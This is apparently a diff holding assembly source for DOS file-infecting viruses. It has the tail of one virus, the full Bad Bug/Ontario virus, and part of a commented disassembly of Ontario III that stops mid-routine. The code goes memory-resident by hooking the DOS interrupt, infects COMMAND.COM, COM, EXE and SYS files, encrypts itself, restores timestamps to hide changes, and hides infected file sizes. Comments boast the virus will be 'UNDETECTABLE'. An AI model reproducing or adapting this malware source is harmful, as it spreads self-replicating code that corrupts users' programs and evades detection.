mov cx,200h ;
|
||||
cld ;
|
||||
rep movsb
|
||||
mov si,offset ds:[228h] ;Now Encrpyt that copy of the
|
||||
call encrypt_decrypt ;virus we just made...
|
||||
pop dx
|
||||
mov cx,200h ;Write Virus to file!
|
||||
mov ah,40h ;BX=Handle, CX=Bytes
|
||||
call int21 ;DX=pointer to write buffer
|
||||
jc go4it4 ;Duh? Check for errors!
|
||||
xor cx,cx
|
||||
xor dx,dx ;Now move pointer to beginning
|
||||
mov ax,4200h ;of file.
|
||||
call int21
|
||||
jc go4it4 ;Duh? Check for errors!
|
||||
mov dx,208h ;Write to file!
|
||||
mov cx,1Bh ;CX=Bytes
|
||||
mov ah,40h ;DX=pointes to buffer
|
||||
call int21 ;Bah, HumBug
|
||||
go4it4:
|
||||
mov dx,word ptr ds:[206h] ;Leave no tracks...
|
||||
mov cx,word ptr ds:[204h] ; puts back File TIME
|
||||
mov ax,5701h ; and DATE! on file...
|
||||
call int21 ;
|
||||
mov ah,3Eh ;
|
||||
call int21 ;Bah, HumBug...
|
||||
go4it5:
|
||||
pop ax ;Get lost...
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
pop es
|
||||
retn
|
||||
infect endp
|
||||
|
||||
;----------------------------------------------------------------------;
|
||||
; The Original Interrupt 21h handler ;
|
||||
;----------------------------------------------------------------------;
|
||||
|
||||
int21 proc near
|
||||
pushf ;Fake an Int Call...
|
||||
|
||||
call dword ptr cs:[200h] ;Orignal Int21h Handler
|
||||
retn
|
||||
int21 endp
|
||||
|
||||
db 'C:\COMMAND.COM'
|
||||
db 00h, 84h
|
||||
|
||||
;---------------------------------------------------------------------;
|
||||
; The Simple, But VERY Effective Encryption Routine ;
|
||||
;---------------------------------------------------------------------;
|
||||
|
||||
decrypt proc near
|
||||
pop si
|
||||
push si
|
||||
mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE!
|
||||
encrypt_decrypt: ;and Virus will be UNDETECTABLE
|
||||
mov cx,1E8h ; LENGTH OF VIRII! Change this!
|
||||
loop_me: not al ; if you modief the virus!
|
||||
xor cs:[si],al ;
|
||||
inc si ;
|
||||
loop loop_me ;
|
||||
;
|
||||
retn
|
||||
decrypt endp
|
||||
|
||||
|
||||
virus ends
|
||||
end start
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
|
|
@ -0,0 +1,355 @@
|
|||
|
||||
comment *
|
||||
|
||||
Older version of Bad Bug, also known as Ontario virus.
|
||||
--> Written by Death Angel <--
|
||||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
This virus first puts itself in memory, if not already. Infects the
|
||||
C:\COMMAND.COM file, then infects other files as they are loaded.
|
||||
It appends itself onto COM and EXE files.
|
||||
|
||||
Identification method:
|
||||
======================
|
||||
Checking if already in memory - INT 21/AH=FF, returns AX=0
|
||||
Checking if COM is infected - 4th byte in file "V"
|
||||
Checking if EXE is infected - Instruction Pointer is at 1
|
||||
|
||||
*
|
||||
|
||||
LOC_21 EQU 21H*4
|
||||
REAL_SIZE equ offset EOF
|
||||
|
||||
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:CODE, DS:CODE
|
||||
ORG 0h
|
||||
|
||||
VBUG PROC FAR
|
||||
nop
|
||||
call MASTER_UNCODE
|
||||
VB01:
|
||||
call VB00
|
||||
VB00:
|
||||
pop bp
|
||||
sub BP, +7
|
||||
mov ax, -1
|
||||
int 21h
|
||||
or ah, ah
|
||||
je GO_PROG
|
||||
|
||||
push ds
|
||||
xor ax, ax
|
||||
mov ds, ax ;BIOS data area
|
||||
sub word ptr ds:[0413H], 2
|
||||
lds bx, ds:[LOC_21]
|
||||
mov word ptr cs:[BP]+offset OLD_21, bx
|
||||
mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector
|
||||
mov bx, es
|
||||
dec bx
|
||||
mov ds, bx
|
||||
sub word ptr ds:[0003H], 2048/16 ;Paragraph size
|
||||
mov ax, ds:[0012H] ;Get high memory segment
|
||||
sub ax, 2048/16 ;Make room for ourself
|
||||
mov ds:[0012H], ax ;Save it
|
||||
mov es, ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si, bp ;Put 0000 into SI (if EXE..)
|
||||
xor di, di
|
||||
mov cx, REAL_SIZE+4 ;Plus OLD_21 information!
|
||||
cld
|
||||
rep movsb
|
||||
mov ds, cx ;Put zero into DS
|
||||
cli ;Disable maskable interrupts
|
||||
mov word ptr ds:LOC_21, offset NEW_21
|
||||
mov word ptr ds:LOC_21+2, ax
|
||||
sti ;Enable interrupts
|
||||
mov ax, 4BFFH ;Infect COMMAND.COM file!
|
||||
int 21h
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
|
||||
GO_PROG: ;Check if EXE or COM program?
|
||||
or bp, bp ;Are we an EXE file?
|
||||
je RUN_EXE
|
||||
|
||||
RUN_COM: ;Run this infected .COM file
|
||||
lea si, [BP]+offset RUN_PROG
|
||||
mov di, 100H
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
DUMB_ROUTINE PROC NEAR
|
||||
ret ;Do a local return
|
||||
DUMB_ROUTINE ENDP
|
||||
|
||||
RUN_EXE:
|
||||
mov ax, es ;Get PSP segment
|
||||
add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment
|
||||
|
||||
db 0EAh ;JMP 0000:0000
|
||||
|
||||
RUN_PROG db 0B4H, 04CH
|
||||
db 0CDH, 021H
|
||||
NEW_21:
|
||||
cmp ax, -1
|
||||
jne NW00
|
||||
inc ax ;Overflow to 0000
|
||||
iret
|
||||
NW00:
|
||||
cmp ah, 4Bh ;Infect program being executed
|
||||
jne RUN_OLD_21
|
||||
cmp al, 03
|
||||
je RUN_OLD_21
|
||||
cmp al, -1
|
||||
jne RO00
|
||||
push cs
|
||||
pop ds
|
||||
mov dx, offset COMMAND_FILE
|
||||
call INFECT_PROGRAM
|
||||
IRET
|
||||
RO00:
|
||||
call INFECT_PROGRAM
|
||||
|
||||
RUN_OLD_21:
|
||||
jmp dword ptr cs:OLD_21 ;Do original interrupt
|
||||
|
||||
INFECT_PROGRAM PROC NEAR
|
||||
;
|
||||
;When entering a normal Int 21/AH=4BH
|
||||
;DS:DX -> Ptr to filename
|
||||
;ES:BX -> Ptr to Parm Block
|
||||
;AL -> 0 - Load/Run, 3 - Overlay
|
||||
;
|
||||
push es
|
||||
push ds
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
; push si
|
||||
; push di
|
||||
|
||||
mov ax, 4300H ;Get file attribute
|
||||
call DO_21
|
||||
jb NO_CLOSE
|
||||
test cl, 00000001b
|
||||
je VB04
|
||||
and cl, 11111110b ;Turn off bit 0 (so you can write)
|
||||
mov ax, 4301H ;Set file attribute
|
||||
call DO_21
|
||||
jb NO_CLOSE
|
||||
|
||||
VB04:
|
||||
mov ax, 3D02h ;Open file for reading & writing
|
||||
call DO_21
|
||||
VB05:
|
||||
JNB VB06
|
||||
NO_CLOSE:
|
||||
JMP END_21
|
||||
VB06:
|
||||
|
||||
mov bx, ax ;Put new handle into BX
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax, 5700H ;Get file date
|
||||
call DO_21
|
||||
mov ds:FILE_TIME, cx
|
||||
mov ds:FILE_DATE, dx
|
||||
|
||||
mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header
|
||||
mov cx, 1BH ;Size of header (for EXE, it doesn't
|
||||
;matter the extra bytes loaded for
|
||||
;COM files.
|
||||
mov ah, 3Fh ;Read from file
|
||||
call DO_21
|
||||
VB10:
|
||||
jb CLOSE_END
|
||||
|
||||
cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ)
|
||||
je INFECT_EXE
|
||||
|
||||
INFECT_COM:
|
||||
mov al, byte ptr SIGN+1
|
||||
cmp al, byte ptr SIGN+3
|
||||
je CLOSE_END
|
||||
|
||||
xor dx, dx
|
||||
xor cx, cx
|
||||
mov ax, 4202H ;Seek from EOF
|
||||
call DO_21
|
||||
VB15:
|
||||
jb CLOSE_END
|
||||
|
||||
;Returns DX:AX number of bytes seeked (Size of file)
|
||||
|
||||
cmp ax, 0E000H ;Check file size
|
||||
ja CLOSE_END
|
||||
push ax
|
||||
mov ax, ds:word ptr [SIGN+0]
|
||||
mov word ptr ds:RUN_PROG+0, ax
|
||||
mov ax, ds:word ptr [SIGN+2]
|
||||
mov word ptr ds:RUN_PROG+2, ax
|
||||
pop ax
|
||||
sub ax, 3 ;Calculate jmp to End of file
|
||||
mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR
|
||||
mov word ptr ds:SIGN+1, ax
|
||||
mov byte ptr ds:SIGN+3, al ;Identification code
|
||||
|
||||
jmp FINISH_INFECT
|
||||
|
||||
;From here in, both EXE & COM files are infected the same
|
||||
;The virus is written, seek to start of file, and re-write the Header
|
||||
|
||||
INFECT_EXE:
|
||||
cmp word ptr ds:START_IP, 1
|
||||
jne VB19
|
||||
VB18:
|
||||
CLOSE_END:
|
||||
jmp END_INFECT
|
||||
VB19:
|
||||
mov ax, ds:[FILE_SIZE] ;Get file size
|
||||
mov cx, 200H
|
||||
mul cx ;Convert to bytes offset
|
||||
|
||||
;If filesize, if bigger then 64K, the overflow is put into DX
|
||||
|
||||
push ax
|
||||
push dx
|
||||
mov cl, 04h
|
||||
ror dx, cl
|
||||
shr ax, cl ;Convert to paragraphs
|
||||
add ax, dx
|
||||
sub ax, ds:SIZE_HEADER
|
||||
PUSH AX
|
||||
mov ax, ds:START_IP
|
||||
mov word ptr ds:RUN_PROG, ax
|
||||
mov ax, ds:START_CS
|
||||
add ax, 0010H
|
||||
mov word ptr ds:RUN_PROG+2, ax
|
||||
POP AX
|
||||
mov word ptr ds:START_CS, ax
|
||||
mov word ptr ds:START_IP, +1
|
||||
inc word ptr ds:FILE_SIZE
|
||||
|
||||
pop cx
|
||||
pop dx
|
||||
mov ax, 4200H ;Goto end of file
|
||||
call DO_21
|
||||
VB20:
|
||||
jb VB25
|
||||
|
||||
FINISH_INFECT:
|
||||
xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT
|
||||
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ds:[CODE_BYTE], AL ;Put high byte of file seek
|
||||
xor si, si
|
||||
mov di, offset REAL_EOF
|
||||
push di ;Push pointer
|
||||
mov cx, offset EOF
|
||||
cld
|
||||
rep movsb
|
||||
mov si, offset REAL_EOF+04H ;REAL_EOF+VB01
|
||||
call DECODE
|
||||
pop dx ;Restore pointer
|
||||
mov cx, REAL_SIZE
|
||||
mov ah, 40h
|
||||
call DO_21
|
||||
JB END_INFECT
|
||||
|
||||
xor cx, cx
|
||||
xor dx, dx ;Distance to seek into file
|
||||
mov ax, 4200h ;Seek from start of file
|
||||
call DO_21
|
||||
jb END_INFECT
|
||||
|
||||
mov dx, offset TMP_HEADER ;Ptr to New modified header
|
||||
mov cx, 1BH ;Size of header
|
||||
mov ah, 40h ;Write to file
|
||||
call DO_21
|
||||
|
||||
VB25:
|
||||
END_INFECT:
|
||||
mov dx, ds:FILE_DATE
|
||||
mov cx, ds:FILE_TIME
|
||||
mov ax, 5701h ;Set file date/time
|
||||
call DO_21
|
||||
|
||||
CLOSE_FILE:
|
||||
mov ah, 3Eh ;Close the file
|
||||
call DO_21
|
||||
END_21:
|
||||
; pop di
|
||||
; pop si
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
pop es
|
||||
RET
|
||||
|
||||
DO_21:
|
||||
pushf
|
||||
call dword ptr cs:OLD_21
|
||||
ret
|
||||
|
||||
COMMAND_FILE DB 'C:\COMMAND.COM',0
|
||||
|
||||
MASTER_DECODE:
|
||||
CODE_BYTE DB 80H
|
||||
|
||||
MASTER_UNCODE:
|
||||
POP SI
|
||||
PUSH SI
|
||||
MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01]
|
||||
DECODE:
|
||||
MOV CX, OFFSET MASTER_DECODE-OFFSET VB01
|
||||
DC00:
|
||||
NOT AL
|
||||
XOR CS:BYTE PTR [SI], AL
|
||||
INC SI
|
||||
LOOP DC00
|
||||
RET
|
||||
|
||||
INFECT_PROGRAM ENDP
|
||||
|
||||
EOF:
|
||||
|
||||
OLD_21 DD ?
|
||||
|
||||
FILE_TIME DW ?
|
||||
FILE_DATE DW ?
|
||||
|
||||
TMP_HEADER:
|
||||
SIGN DW ?
|
||||
LEN_IMAGE_MOD DW ?
|
||||
FILE_SIZE DW ? ;In 512-increments
|
||||
NUM_REAL DW ?
|
||||
SIZE_HEADER DW ?
|
||||
MIN_ABOVE DW ?
|
||||
MAX_ABOVE DW ?
|
||||
STACK_SS DW ?
|
||||
STACK_SP DW ?
|
||||
CHECKSUM DW ?
|
||||
START_IP DW ?
|
||||
START_CS DW ?
|
||||
DISPLAY_REAL DW ?
|
||||
OVERLAY_NUM DW ?
|
||||
|
||||
REAL_EOF:
|
||||
|
||||
VBUG ENDP
|
||||
|
||||
CODE ENDS
|
||||
END VBUG
|
||||
|
|
@ -0,0 +1,993 @@
|
|||
.model tiny
|
||||
.code
|
||||
; Ontario III
|
||||
; Disassembly by Dark Angel of Phalcon/Skism
|
||||
; Assemble with TASM /m ONTARIO3.ASM
|
||||
|
||||
; Virus written by Death Angel of YAM
|
||||
org 0
|
||||
|
||||
decrypt:
|
||||
patch1:
|
||||
mov di,offset endvirus ; usually: offset enddecrypt
|
||||
patch2 = $ - 2
|
||||
patch3 = $
|
||||
mov cx,37E5h
|
||||
patch4 = $ - 2
|
||||
patch5:
|
||||
db 82h, 0C5h, 0D0h ; add ch,0D0h
|
||||
patch6 = $ - 1
|
||||
patch7:
|
||||
mov al,0Ah
|
||||
patch8 = $ - 1
|
||||
|
||||
decrypt_loop:
|
||||
add cs:[di],al
|
||||
patch9 = $ - 1
|
||||
patch10:
|
||||
ror al,cl
|
||||
patch11 = $ - 1
|
||||
patch12:
|
||||
inc di
|
||||
patch13:
|
||||
loop decrypt_loop
|
||||
enddecrypt:
|
||||
|
||||
patch14:
|
||||
db 89h, 0FBh ; mov bx,di
|
||||
patch15 = $ - 1
|
||||
|
||||
sub bx,offset save4
|
||||
xchg ax,cx
|
||||
dec ax
|
||||
cld
|
||||
call saveorigvectors
|
||||
db 0e9h ; jmp
|
||||
SYSpatch dw 0 ; currently jmp to next line
|
||||
int 21h ; installation check
|
||||
or al,ah
|
||||
jz restorefile
|
||||
push ds
|
||||
mov cx,bx
|
||||
mov di,ds ; save current ds
|
||||
mov ah,13h ; get BIOS int 13h handler
|
||||
int 2Fh ; to ds:dx and es:bx
|
||||
|
||||
mov si,ds ; does function function?
|
||||
cmp si,di
|
||||
je skipit
|
||||
push ds
|
||||
push dx
|
||||
mov ah,13h ; restore handler
|
||||
int 2Fh
|
||||
|
||||
|
||||
mov bx,cx ; but save its address too
|
||||
pop word ptr cs:[bx+storeint13_1]
|
||||
pop word ptr cs:[bx+storeint13_2]
|
||||
skipit:
|
||||
xor di,di
|
||||
mov cx,es
|
||||
dec cx
|
||||
mov ds,cx ; get MCB of current program
|
||||
sub word ptr [di+3],140h ; decrease size by 5K
|
||||
mov ax,[di+12h] ; get high memory from PSP
|
||||
sub ax,140h ; decrease size by 5K
|
||||
mov [di+12h],ax ; replace it
|
||||
mov es,ax ; es->high memory segment
|
||||
sub ax,1000h
|
||||
mov word ptr cs:[bx+patchsegment],ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bx
|
||||
mov cx,offset save4
|
||||
rep movsb
|
||||
mov ds,cx
|
||||
cli
|
||||
mov word ptr ds:21h*4,offset int21 ; set int 21h handler
|
||||
mov ds:21h*4+2,es ; to virus's
|
||||
sti
|
||||
mov ax,4BFFh ; infect COMSPEC
|
||||
push bx
|
||||
int 21h
|
||||
pop bx
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
restorefile:
|
||||
lea si,[bx+offset save4]
|
||||
mov di,100h
|
||||
cmp bx,di
|
||||
jb restoreEXE
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
retn
|
||||
restoreEXE:
|
||||
mov ax,es ; get start segment
|
||||
add ax,10h ; adjust for PSP
|
||||
add cs:[si+2],ax ; relocate CS
|
||||
add cs:[si+4],ax ; relocate SS
|
||||
cli
|
||||
mov sp,cs:[si+6] ; restore stack
|
||||
mov ss,cs:[si+4]
|
||||
sti
|
||||
jmp dword ptr cs:[si]
|
||||
|
||||
int21instcheck:
|
||||
inc ax
|
||||
iret
|
||||
|
||||
int21:
|
||||
cmp ax,0FFFFh ; installation check?
|
||||
je int21instcheck
|
||||
cmp ah,4Bh ; execute?
|
||||
je execute
|
||||
cmp ah,11h ; FCB find first?
|
||||
je findfirstnext
|
||||
cmp ah,12h ; FCB find next?
|
||||
je findfirstnext
|
||||
cmp ax,3D00h ; open file read only?
|
||||
jne int21exit
|
||||
call handleopen
|
||||
int21exit:
|
||||
db 0EAh ; jmp far ptr
|
||||
oldint21 dd 0
|
||||
|
||||
findfirstnext: ; standard stealth routine
|
||||
push bp
|
||||
mov bp,sp
|
||||
cmp word ptr [bp+4],1234h
|
||||
patchsegment = $ - 2
|
||||
pop bp
|
||||
jb int21exit
|
||||
call callint21 ; do findfirst/next
|
||||
call pushall
|
||||
mov ah,2Fh ; Get DTA
|
||||
call callint21
|
||||
cmp byte ptr es:[bx],0FFh ; extended FCB?
|
||||
je findfirstnextnotextendedFCB
|
||||
sub bx,7 ; convert to standard
|
||||
findfirstnextnotextendedFCB:
|
||||
mov al,es:[bx+1Eh] ; get seconds counter
|
||||
and al,1Fh ; check if 62 seconds
|
||||
cmp al,1Fh ; (infection marker)
|
||||
jne findfirstnextexit ; exit if not
|
||||
mov dx,es:[bx+26h] ; get file size
|
||||
mov ax,es:[bx+24h]
|
||||
sub ax,viruslength ; decrease by virus
|
||||
sbb dx,0 ; size
|
||||
or dx,dx
|
||||
jc findfirstnextexit
|
||||
mov es:[bx+26h],dx ; replace file size
|
||||
mov es:[bx+24h],ax ; with "stealthed" one
|
||||
findfirstnextexit:
|
||||
call popall
|
||||
iret
|
||||
|
||||
execute:
|
||||
mov byte ptr cs:infectSYS,0
|
||||
cmp al,1 ; load/don't execute
|
||||
je load_noexecute
|
||||
cmp al,0FFh ; called by virus
|
||||
je infectCOMSPEC
|
||||
call infectDSDX
|
||||
jmp short int21exit
|
||||
|
||||
infectCOMMANDCOM:
|
||||
mov byte ptr cs:infectSYS,0
|
||||
push dx
|
||||
push ds
|
||||
mov dx,offset command_com
|
||||
push cs
|
||||
pop ds
|
||||
mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
|
||||
call infectDSDX
|
||||
pop ds
|
||||
pop dx
|
||||
iret
|
||||
|
||||
infectCOMSPEC:
|
||||
mov ah,51h ; Get current PSP
|
||||
call callint21
|
||||
mov es,bx
|
||||
mov ds,es:[2Ch] ; environment block
|
||||
xor si,si
|
||||
push cs
|
||||
pop es
|
||||
infectCOMSPECfindcomspec:
|
||||
mov di,offset comspec ; is 'COMSPEC=' the first
|
||||
mov cx,4 ; entry in environment?
|
||||
repe cmpsw ; (should be)
|
||||
jcxz infectCOMSPECnoenvironment ; otherwise, quit
|
||||
infectCOMSPECfindend:
|
||||
lodsb ; search for end of string
|
||||
or al,al
|
||||
jnz infectCOMSPECfindend
|
||||
cmp byte ptr [si],0 ; found it?
|
||||
jne infectCOMSPECfindcomspec; nope, try again
|
||||
jmp short infectCOMMANDCOM ; otherwise, infect
|
||||
infectCOMSPECnoenvironment:
|
||||
mov dx,si
|
||||
mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
|
||||
call infectDSDX ; but are we really? Maybe
|
||||
iret ; it's 4DOS. This is a bug.
|
||||
load_noexecute:
|
||||
push es ; save parameter block
|
||||
push bx
|
||||
call callint21 ; prechain
|
||||
pop bx
|
||||
pop es
|
||||
call pushall
|
||||
jnc load_noexecute_ok ; continue if no error
|
||||
jmp load_noexecute_exit
|
||||
load_noexecute_ok:
|
||||
xor cx,cx
|
||||
lds si,dword ptr es:[bx+12h]; get entry point on return
|
||||
push ds
|
||||
push si
|
||||
mov di,100h
|
||||
cmp si,di
|
||||
jl loading_EXE
|
||||
ja load_noexecute_quit
|
||||
; debugger active
|
||||
lodsb
|
||||
cmp al,0E9h ; check if infected
|
||||
jne load_noexecute_quit
|
||||
lodsw
|
||||
push ax ; save jmp location
|
||||
lodsb
|
||||
cmp al,'O' ; check for infection marker
|
||||
pop si ; get jmp location
|
||||
jnz load_noexecute_quit
|
||||
add si,103h ; convert to file offset
|
||||
inc cx
|
||||
inc cx
|
||||
pop ax
|
||||
push si
|
||||
push ds
|
||||
pop es
|
||||
jmp short check_infection
|
||||
loading_EXE:
|
||||
lea di,[bx+0Eh] ; check SS:SP on return
|
||||
cmp word ptr es:[di],9FFh ; infected?
|
||||
jne load_noexecute_quit
|
||||
check_infection:
|
||||
lodsb
|
||||
cmp al,0BBh ; possibility 1
|
||||
je infected_checked1
|
||||
cmp al,0BEh ; possibility 2
|
||||
je infected_checked1
|
||||
cmp al,0BFh ; possibility 3
|
||||
jne load_noexecute_quit
|
||||
infected_checked1:
|
||||
lodsw ; get starting offset
|
||||
push ax ; to decrypt
|
||||
lodsb ; get next byte
|
||||
cmp al,0B9h ; check for infection
|
||||
lodsw
|
||||
pop si ; offset to decrypt
|
||||
jnz load_noexecute_quit
|
||||
cmp ah,7 ; check if infected
|
||||
je infected_checked2
|
||||
cmp al,0E5h ; ditto
|
||||
jne load_noexecute_quit
|
||||
infected_checked2:
|
||||
add si,save4 - enddecrypt
|
||||
jcxz disinfectEXE
|
||||
rep movsw
|
||||
jmp short finish_disinfection
|
||||
disinfectEXE:
|
||||
mov ah,51h ; Get current PSP
|
||||
call callint21
|
||||
add bx,10h ; go to file starting CS
|
||||
mov ax,[si+6]
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
mov ax,[si+4]
|
||||
add ax,bx
|
||||
stosw
|
||||
movsw
|
||||
lodsw
|
||||
add ax,bx
|
||||
stosw
|
||||
finish_disinfection:
|
||||
pop di
|
||||
pop es
|
||||
xchg ax,cx
|
||||
mov cx,viruslength
|
||||
rep stosb
|
||||
jmp short load_noexecute_exit
|
||||
load_noexecute_quit:
|
||||
pop ax
|
||||
pop ax
|
||||
load_noexecute_exit:
|
||||
call popall
|
||||
retf 2
|
||||
|
||||
|
||||
handleopen:
|
||||
call pushall
|
||||
mov si,dx ; find extension of
|
||||
handleopenscanloop: ; ASCIIZ string
|
||||
lodsb
|
||||
or al,al ; found end of screen?
|
||||
jz handleopenexit ; yup, no extension -- exit
|
||||
cmp al,'.' ; extension found?
|
||||
jne handleopenscanloop
|
||||
mov di,offset validextensions - 3
|
||||
push cs
|
||||
pop es
|
||||
mov cx,4
|
||||
nop
|
||||
|
||||
scanvalidextension:
|
||||
push cx
|
||||
push si
|
||||
mov cl,3
|
||||
add di,cx
|
||||
push di
|
||||
|
||||
check_extension:
|
||||
lodsb
|
||||
and al,5Fh ; Capitalise
|
||||
cmp al,es:[di] ; do they compare ok?
|
||||
jne extension_no_match ; nope, try next one
|
||||
inc di
|
||||
loop check_extension
|
||||
|
||||
cmp al,'S' ; SYS file?
|
||||
jne opennotSYS
|
||||
mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
|
||||
opennotSYS:
|
||||
call infectDSDX
|
||||
add sp,6
|
||||
jmp short handleopenexit
|
||||
extension_no_match:
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
loop scanvalidextension
|
||||
|
||||
handleopenexit:
|
||||
call popall
|
||||
retn
|
||||
|
||||
infectDSDX:
|
||||
call pushall
|
||||
call replaceint13and24
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4300h ; get attributes
|
||||
call callint21
|
||||
push cx
|
||||
pushf
|
||||
jc go_restoreattribs
|
||||
push cx
|
||||
and cl,1 ; check if read only
|
||||
cmp cl,1
|
||||
jne infectDSDXnoclearattributes
|
||||
xor cx,cx ; clear if so
|
||||
mov ax,4301h
|
||||
call callint21
|
||||
infectDSDXnoclearattributes:
|
||||
pop cx
|
||||
and cl,4
|
||||
cmp cl,4
|
||||
je go_restoreattribs
|
||||
mov ax,3D02h ; open file read/write
|
||||
call callint21
|
||||
jnc infectDSDXopenOK ; continue if no error
|
||||
go_restoreattribs:
|
||||
jmp infectDSDXrestoreattributes
|
||||
infectDSDXopenOK:
|
||||
xchg ax,bx ; handle to bx
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov word ptr ds:SYSpatch,0
|
||||
mov ax,5700h ; save file time/date
|
||||
call callint21
|
||||
push dx
|
||||
push cx
|
||||
and cl,1Fh ; check if infected
|
||||
cmp cl,1Fh ; (seconds == 62)
|
||||
je infectDSDXerror
|
||||
mov dx,offset readbuffer ; read header from
|
||||
mov cx,1Ch ; potential carrier
|
||||
mov ah,3Fh ; file to the
|
||||
call callint21 ; buffer
|
||||
jnc infectDSDXreadOK ; continue if no error
|
||||
infectDSDXerror:
|
||||
stc ; mark error
|
||||
jmp infectDSDXclose ; and exit
|
||||
infectDSDXreadOK:
|
||||
cmp ax,cx ; read 1ch bytes?
|
||||
jne infectDSDXerror ; exit if not
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
mov ax,4202h ; go to end of file
|
||||
call callint21
|
||||
or dx,dx
|
||||
jnz infectDSDXfilelargeenough
|
||||
cmp ax,0A01h ; check if too small
|
||||
jb infectDSDXerror
|
||||
infectDSDXfilelargeenough:
|
||||
cmp dl,5
|
||||
ja infectDSDXerror
|
||||
cmp word ptr ds:readbuffer,'ZM' ; EXE?
|
||||
je infectDSDXskipcheck
|
||||
cmp word ptr ds:readbuffer,'MZ' ; EXE?
|
||||
infectDSDXskipcheck:
|
||||
je infectDSDXcheckEXE
|
||||
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
|
||||
jne infectDSDXcheckCOM
|
||||
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
|
||||
jne infectDSDXerror ; file
|
||||
cmp word ptr ds:readbuffer+2,0FFFFh
|
||||
isanoverlay:
|
||||
jne infectDSDXerror
|
||||
or dx,dx
|
||||
jnz infectDSDXerror
|
||||
push ax ; save file size
|
||||
mov di,offset save4
|
||||
mov ax,5657h ; push di, push si
|
||||
stosw
|
||||
mov ax,0E953h ; push bx, jmp decrypt
|
||||
stosw
|
||||
mov ax,offset decrypt - (offset save4 + 6)
|
||||
stosw
|
||||
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
|
||||
stosw
|
||||
pop ax ; get file size
|
||||
push ax
|
||||
add ax,offset save4
|
||||
mov word ptr ds:readbuffer+6,ax
|
||||
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
|
||||
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
|
||||
pop ax
|
||||
add ax,offset enddecrypt
|
||||
jmp short go_infectDSDXcontinue
|
||||
infectDSDXcheckCOM:
|
||||
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
|
||||
jmp_infectDSDXerror:
|
||||
je infectDSDXerror
|
||||
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
|
||||
je dontdoslackspace
|
||||
sub ax,viruslength ; infect slack space of
|
||||
xchg ax,dx ; command.com
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
call callint21
|
||||
dontdoslackspace:
|
||||
mov si,offset readbuffer
|
||||
mov di,offset save4
|
||||
movsw
|
||||
movsw
|
||||
sub ax,3 ; convert size->jmp dest
|
||||
mov byte ptr ds:readbuffer,0E9h ; encode JMP
|
||||
mov word ptr ds:readbuffer+1,ax ; and destination
|
||||
mov byte ptr ds:readbuffer+3,'O' ; mark infected
|
||||
add ax,116h
|
||||
go_infectDSDXcontinue:
|
||||
jmp short infectDSDXcontinue
|
||||
infectDSDXcheckEXE:
|
||||
cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
|
||||
je jmp_infectDSDXerror
|
||||
cmp word ptr ds:readbuffer+1Ah,0
|
||||
jne isanoverlay ; exit if it's an overlay
|
||||
|
||||
push dx
|
||||
push ax
|
||||
mov cl,4
|
||||
ror dx,cl
|
||||
shr ax,cl
|
||||
add ax,dx ; ax:dx = file size
|
||||
sub ax,word ptr ds:readbuffer+8 ; subtract header size
|
||||
mov si,offset readbuffer+14h
|
||||
mov di,offset origCSIP
|
||||
movsw ; save initial CS:IP
|
||||
movsw
|
||||
mov si,offset readbuffer+0Eh
|
||||
movsw ; save initial SS:SP
|
||||
movsw
|
||||
mov word ptr ds:readbuffer+16h,ax ; set initial CS
|
||||
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
|
||||
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
|
||||
pop ax
|
||||
pop dx
|
||||
push ax
|
||||
add ax,0A01h
|
||||
|
||||
; adc dx,0 works just as well
|
||||
jnc infectEXEnocarry
|
||||
inc dx
|
||||
infectEXEnocarry:
|
||||
mov cx,200h ; take image size
|
||||
div cx
|
||||
; The next line is not entirely corrrect. The image size
|
||||
; div 512 is rounded up. Therefore, DOS will find this number
|
||||
; to be off by 512d bytes
|
||||
mov word ptr ds:readbuffer+4,ax ; image size div 512
|
||||
mov word ptr ds:readbuffer+2,dx ; image size mod 512
|
||||
pop ax
|
||||
and ax,0Fh
|
||||
mov word ptr ds:readbuffer+14h,ax ; set initial IP
|
||||
